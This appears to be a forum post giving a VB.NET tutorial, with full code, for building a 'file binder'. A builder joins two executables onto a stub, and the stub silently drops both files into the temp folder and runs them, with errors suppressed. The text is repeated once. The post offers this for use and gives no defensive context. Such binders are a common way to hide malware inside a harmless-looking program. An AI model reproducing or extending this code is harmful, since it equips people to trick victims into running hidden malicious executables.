Create a new project
add:
2 buttons
2 text boxes
Button1 is to get the files you want to bind to rename that to what you like. Then add this code to it:
Now you are going to want to rename button2 to what you want this is the button that binds the files together. Then add this code :
Done! now its time to create the stub, create a new form name it stub. You wont need to add anything to it just this code:
And your done enjoy guys, tell me what you think
p.s the stub and the binder have to be in the same location or it wont work
[IMG]http://i1140.photobucket.com/albums/n568/IiMagezz/Untitled-3.png[/IMG]
add:
2 buttons
2 text boxes
Button1 is to get the files you want to bind to rename that to what you like. Then add this code to it:
Quote:Dim ofd As New OpenFileDialog
ofd.Title = ""
ofd.Filter = "*.exe | *.exe"
ofd.Title = "File 1"
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
ofd.Title = "File 2"
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName
Now you are going to want to rename button2 to what you want this is the button that binds the files together. Then add this code :
Quote:Dim stub, File_One, File_Two, Filename1, filename2 As String
Const FileSplit = "47150"
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
File_One = Space(LOF(1))
FileGet(1, File_One)
FileClose(1)
FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
File_Two = Space(LOF(2))
FileGet(2, File_Two)
FileClose(2)
FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(3))
FileGet(3, stub)
FileClose(3)
Dim OutputFile As String
Dim sfd As New SaveFileDialog
sfd.Filter = "*.exe | *.exe"
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
OutputFile = sfd.FileName
Else : Exit Sub
End If
Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
FileClose(3)
MsgBox("Binded")
Done! now its time to create the stub, create a new form name it stub. You wont need to add anything to it just this code:
Quote: On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Const FileSplit = "47150"
Dim file1, joesdaddy, filez() As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filez = Split(file1, FileSplit)
FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, filez(1))
FileClose(3)
FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filez(2))
FileClose(5)
System.Diagnostics.Process.Start(TPath & filez(3))
System.Diagnostics.Process.Start(TPath & filez(4))
Me.Close()
End
And your done enjoy guys, tell me what you think
p.s the stub and the binder have to be in the same location or it wont work
[IMG]http://i1140.photobucket.com/albums/n568/IiMagezz/Untitled-3.png[/IMG]
